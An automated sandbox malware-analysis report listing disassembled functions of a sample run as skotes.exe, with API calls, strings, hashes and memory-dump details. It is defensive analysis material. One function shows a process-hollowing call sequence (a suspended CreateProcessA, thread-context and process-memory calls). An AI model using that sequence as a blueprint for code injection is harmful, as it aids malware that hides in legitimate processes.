Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: avC
API String ID: 0-551859807
Opcode ID: 45530060523da157e537cdb1f7866b3f2572323f108b7a3cdd4d943330284399
Instruction ID: 791638059a19eb7d03b8e6799ac96854013f7a9a4db5e4c168316c4cba85a157
Opcode Fuzzy Hash: 45530060523da157e537cdb1f7866b3f2572323f108b7a3cdd4d943330284399
Instruction Fuzzy Hash: 15F0F630801202CBE704DFA6E8097AE37B4AB45339F1103D5E439962E2D7B4A841C78A

Function 0041D111 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00465750), ref: 0041D11C
RtlLeaveCriticalSection.NTDLL(00465750), ref: 0041D159

Strings

PWF, xrefs: 0041D116

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: PWF
API String ID: 3168844106-4189640852
Opcode ID: aa3b7ebb98d861874e14c42a3fd8d5994544321a17c487eeef023a4b97522d77
Instruction ID: 988e6a820899fd4ceb20f62ffb6a68805dae8dfe7a3415f919f541f0d2922133
Opcode Fuzzy Hash: aa3b7ebb98d861874e14c42a3fd8d5994544321a17c487eeef023a4b97522d77
Instruction Fuzzy Hash: 16F0E275900601EFC3149F14EC44AA677A5EB45736F20022EEA55473D0D7391C82CA1A

Function 0219D378 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00465750), ref: 0219D383
RtlLeaveCriticalSection.NTDLL(00465750), ref: 0219D3C0

Strings

PWF, xrefs: 0219D37D

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: PWF
API String ID: 3168844106-4189640852
Opcode ID: aa3b7ebb98d861874e14c42a3fd8d5994544321a17c487eeef023a4b97522d77
Instruction ID: 1e35eae5f2aab1d559ec40e7b4a1f7d16a0b8f4c56d51c6636b5869001ca1e6b
Opcode Fuzzy Hash: aa3b7ebb98d861874e14c42a3fd8d5994544321a17c487eeef023a4b97522d77
Instruction Fuzzy Hash: F9F02734540600DFCB147F14ED44B2677A4EB41736F10023DEA55476E0D7311842CA16

Function 0042B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0042B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042B961

Strings

pContext, xrefs: 0042B959

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: cb3ebfd47da852ef65d275a916c0fe48e2a73adc5c276bf3244062de85799675
Instruction ID: 6d6ffe11be8a4b1ace8c2f2c8a58b350c0e533cc07d7fbfc7cd1cba97992ca6a
Opcode Fuzzy Hash: cb3ebfd47da852ef65d275a916c0fe48e2a73adc5c276bf3244062de85799675
Instruction Fuzzy Hash: 95E02B39B0020467CB04F7A5D845D9DBB789E84715710401BE911A3352EB78AA44C6D8

Function 004234CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004234FC

Strings

version, xrefs: 004234E1
pScheduler, xrefs: 004234F4

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 25f4eee51d5eef7acfdb44f59e56ba93899965d293b766ae16e0c4b89fe0dab4
Instruction ID: 3122fea0a665ef1032727265859f97669ea40e48c80579a70b610642a631ca87
Opcode Fuzzy Hash: 25f4eee51d5eef7acfdb44f59e56ba93899965d293b766ae16e0c4b89fe0dab4
Instruction Fuzzy Hash: 28E04F34A40208B6CB26FE56E84BBC977749B1474BF94C157BC11111929BFCA78CCA89

Function 021A25B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 021A255C
Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 021A2572

Part of subcall function 021A2A99: Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 021A2AA8
Part of subcall function 021A2A99: Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 021A2ABC
Part of subcall function 021A2A99: Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 021A2ADD
Part of subcall function 021A2A99: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 021A2B46
Part of subcall function 021A2A99: Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 021A2CB4

Strings

p[F, xrefs: 021A256A

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Information$AffinityTopology$AcquireApplyCaptureCleanupConcurrency::details::_H_prolog3Lock::_ProcessReentrantRestrictionsRetrieveSystemVersion
String ID: p[F
API String ID: 3302332639-1832964472
Opcode ID: 84bf9b1e625644d46c927a665ec91d8dc20bfdb3b0587f4fa2234934793136a5
Instruction ID: de91327ecaf2cad193d2b8090c3aee4e6081fc01289ca9105113cdc236e09c19
Opcode Fuzzy Hash: 84bf9b1e625644d46c927a665ec91d8dc20bfdb3b0587f4fa2234934793136a5
Instruction Fuzzy Hash: 28E01A787806019ADF24EBA5F93076933E5AB0DB01F80442AE505CA650EBB5E4008F1A

Analysis Process: skotes.exePID: 6008, Parent PID: 6716COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	28
Total number of Limit Nodes:	2

Executed Functions

Function 0217003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0217024D

Strings

cess, xrefs: 0217018D
kernel32.dll, xrefs: 0217008F, 02170095

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 20d72d97d4b91e157398b5588176fb2569ed1a9d1da1e1fd342d4343e33d2590
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C7526975A01229DFDB64CF58C984BACBBB1BF49304F1580E9E94DAB351DB30AA85CF14

Function 006EE19E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006EE1C6
Module32First.KERNEL32(00000000,00000224), ref: 006EE1E6

Memory Dump Source

Source File: 00000015.00000002.2334468394.00000000006ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 006ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6ed000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 558c0f5bcc2ee8b56883f7a92dd481ba4e79e2447fded164dfec15c4cb33b7a1
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 6EF0F6356017106BD7203BF6988CBEE72E9AF49725F100538E642D11C0CB71EC858A61

Function 02170E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02170223,?,?), ref: 02170E19
SetErrorMode.KERNELBASE(00000000,?,?,02170223,?,?), ref: 02170E1E

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f6eda14345538900ca3a5bcd661a1e8535e70606a6f2fc7bf9789d366219cde3
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 9DD0123114522877D7002A94DC09BCD7B1CDF09B66F108011FB0DD9080CB70954046E5

Function 006EDE5D Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006EDEAE

Memory Dump Source

Source File: 00000015.00000002.2334468394.00000000006ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 006ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6ed000_skotes.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 27330354b3aebb1a11da77978c788e3f8228fe8043678fbdc0d4e70684b2807b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 94113C79A00208EFDB01DF99C989E99BBF5AF08750F058094F9489B362D371EA90DF80

Non-executed Functions

Function 02177157 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 174
processmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02177334
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02177392
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 021773AB
GetThreadContext.KERNEL32(?,00000000), ref: 021773C0
ReadProcessMemory.KERNEL32(?,00458DF8,?,00000004,00000000), ref: 021773E0

Strings

VUUU, xrefs: 021771A8

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Process$AllocContextCreateFileMemoryModuleNameReadThreadVirtual
String ID: VUUU
API String ID: 338953623-2040033107
Opcode ID: 8d52878efc5f8f8a1e952e44b6c95f7c24c53631ccf418eeef8ebfb25720e601
Instruction ID: ad41b04a683f8b2cf5a3f55afcba4618d61485cd0c2a400bc08a315fe9149f22
Opcode Fuzzy Hash: 8d52878efc5f8f8a1e952e44b6c95f7c24c53631ccf418eeef8ebfb25720e601
Instruction Fuzzy Hash: 5B51C071684340AFD7109B64DC09F6ABBF9BF84B05F004429FA45EA2D0DBB4E904CF9A

Function 0219107A Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0219117D
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021911C9

Part of subcall function 021928C4: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 021929B7

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 02191235
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 02191251
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021912A5
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021912D2
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 02191328

Strings

(, xrefs: 02191189

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 97f5cfb5054145a50c69719e5e21d6391f3292fc1eddb95c28002738003bc8bd
Instruction ID: 6c12eaf5e0536ee777638555b09095f52e1615fb41aaa21b4d007f6785cec546
Opcode Fuzzy Hash: 97f5cfb5054145a50c69719e5e21d6391f3292fc1eddb95c28002738003bc8bd
Instruction Fuzzy Hash: 6DB17CB0A40616BFDF18CF68D990A7EB7B5FF44714F248169D809AB690D370B980CFA5

Function 02191869 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02192F63: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 02192F76

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 0219187B

Part of subcall function 02193076: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 021930A0
Part of subcall function 02193076: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 0219310F

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 021919AD
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 02191A0D
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 02191A19
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 02191A54
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 02191A75
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 02191A81
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 02191A8A
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 02191AA2

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 1912fa0d0b8b4f2268570b843f6c2612021e862a7a5d2bc4153c4dfd71d45a57
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 8F813971E40226AFCF19CFA8C990A6DB7F2FF48704B1546ADD459AB701C770AD82CB90

Function 0219EEAF Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0219EEE8

Part of subcall function 02199196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021991B7

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0219EF4E
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0219EF66
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0219EF73

Part of subcall function 0219EA16: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0219EA3E
Part of subcall function 0219EA16: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0219EAD6
Part of subcall function 0219EA16: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0219EAE0
Part of subcall function 0219EA16: Concurrency::location::_Assign.LIBCMT ref: 0219EB14
Part of subcall function 0219EA16: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0219EB1C

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 61a48eb18c36016cf9376c863cf090d5461b458c764e45c256d8a2d92b022f72
Instruction ID: b3f5f8dfb72a5616bca4ee0dab818fe02a581a137bb8992099780b001b40fc46
Opcode Fuzzy Hash: 61a48eb18c36016cf9376c863cf090d5461b458c764e45c256d8a2d92b022f72
Instruction Fuzzy Hash: D8517035A40205AFCF18EF50C894BADB776EF44714F1940AAED066B395CB71AE06CFA1

Function 021AF5C6 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 021AF60A

Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF1C0
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF1D2
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF1E4
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF1F6
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF208
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF21A
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF22C
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF23E
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF250
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF262
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF274
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF286
Part of subcall function 021AF1A3: _free.LIBCMT ref: 021AF298

_free.LIBCMT ref: 021AF5FF

Part of subcall function 021AB05C: HeapFree.KERNEL32(00000000,00000000,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?), ref: 021AB072
Part of subcall function 021AB05C: GetLastError.KERNEL32(?,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?,?), ref: 021AB084

_free.LIBCMT ref: 021AF621
_free.LIBCMT ref: 021AF636
_free.LIBCMT ref: 021AF641
_free.LIBCMT ref: 021AF663
_free.LIBCMT ref: 021AF676
_free.LIBCMT ref: 021AF684
_free.LIBCMT ref: 021AF68F
_free.LIBCMT ref: 021AF6C7
_free.LIBCMT ref: 021AF6CE
_free.LIBCMT ref: 021AF6EB
_free.LIBCMT ref: 021AF703

Strings

8"F, xrefs: 021AF6B2
`'F, xrefs: 021AF5DC

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8"F$`'F
API String ID: 161543041-3117062166
Opcode ID: 922a2dd1448a5ec672de729c29137a8fc27b2943f4b4aaf69956ccaefb2f6592
Instruction ID: 4458f1e29c31a10ca1bb83f1674346c10f32e0f18374386fff9008f562bdf663
Opcode Fuzzy Hash: 922a2dd1448a5ec672de729c29137a8fc27b2943f4b4aaf69956ccaefb2f6592
Instruction Fuzzy Hash: 6531AE39684700DFEB30AA38D965B5A77EAFF00358F158519E068D79A0DF32E981CF50

Function 0218F28F Relevance: 24.2, APIs: 16, Instructions: 229
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 0218F296
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0218F522

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: H_prolog3std::invalid_argument::invalid_argument
String ID:
API String ID: 1590901807-0
Opcode ID: 6fac62366cbd6f5e6cb8ab906c87716b022ac4ce341200765e397ba53b1eaef3
Instruction ID: 44beda76358f041c7a4e768ee135eae9fa66a3fdbd8f287f68a145e6bb82d218
Opcode Fuzzy Hash: 6fac62366cbd6f5e6cb8ab906c87716b022ac4ce341200765e397ba53b1eaef3
Instruction Fuzzy Hash: 59819D31D802189FCF25FFA8C8C4BAEB7B6BF45314F64411AE811A7681DB34A946CF91

Function 021A2938 Relevance: 22.7, APIs: 15, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 021A294A

Part of subcall function 021A2748: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021A276B

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 021A296B
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 021A2978
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 021A29C6
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 021A2A4D
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 021A2A60
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 021A2AAD

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: c59a2110c268144207470cacd74e4257a298ce88abd0f6ffd6155045285da657
Instruction ID: 41c40e59b1a2f6a64ccad2708aa73597189a17b9d44be97fdc258a8157e04a97
Opcode Fuzzy Hash: c59a2110c268144207470cacd74e4257a298ce88abd0f6ffd6155045285da657
Instruction Fuzzy Hash: B781C338940249AFDF26DFA4C960BFE7B76AF45308F044098EC517B251C772895ADB72

Function 02194745 Relevance: 22.7, APIs: 15, Instructions: 189
timeregistryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 0219474C
ListArray.LIBCONCRT ref: 0219479F

Part of subcall function 02194580: RtlInitializeSListHead.NTDLL(?), ref: 0219464C
Part of subcall function 02194580: RtlInitializeSListHead.NTDLL(?), ref: 02194656

ListArray.LIBCONCRT ref: 021947D3
Hash.LIBCMT ref: 0219483C
Hash.LIBCMT ref: 0219484C
RtlInitializeSListHead.NTDLL(?), ref: 021948E1
RtlInitializeSListHead.NTDLL(?), ref: 021948EE
RtlInitializeSListHead.NTDLL(?), ref: 021948FB
RtlInitializeSListHead.NTDLL(?), ref: 02194908

Part of subcall function 02199EA8: std::bad_exception::bad_exception.LIBCMT ref: 02199ECA

RegisterWaitForSingleObject.KERNEL32(?,00000000,00427A15,?,000000FF,00000000), ref: 02194990
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 021949B2
GetLastError.KERNEL32(021956F2,?,?,00000000,?,?), ref: 021949C4
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 021949E1

Part of subcall function 0218FE11: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,021956F2,00000008,?,021949E6,?,00000000,00427A06,?,7FFFFFFF,7FFFFFFF,00000000), ref: 0218FE29

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 02194A0B

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorH_prolog3LastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 1224710184-0
Opcode ID: cff4f1584c67b4dd39a057eedf59500e630592c2a8e2e850217cf0530dd3835e
Instruction ID: 32d49e3f13a52536f621e6176fe19dce34cd7db79268dd18cc03f97eddd7ca76
Opcode Fuzzy Hash: cff4f1584c67b4dd39a057eedf59500e630592c2a8e2e850217cf0530dd3835e
Instruction Fuzzy Hash: DC815FB0A51B16BFDB18DF74C884BD9FBA8BF09704F50421AE42897280DBB5A564CFD1

Function 02192A99 Relevance: 19.7, APIs: 13, Instructions: 223
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 02192AA8

Part of subcall function 02193D93: GetVersionExW.KERNEL32(?), ref: 02193DB7
Part of subcall function 02193D93: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 02193E56

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 02192ABC
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 02192ADD
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 02192B46
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 02192B7A

Part of subcall function 02190A54: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 02190A74

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 02192BFA

Part of subcall function 021925C3: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 021925D7

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 02192C42

Part of subcall function 02190A29: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 02190A45

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 02192C56
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 02192C67
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 02192CB4
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 02192CD9
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 02192CE5

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

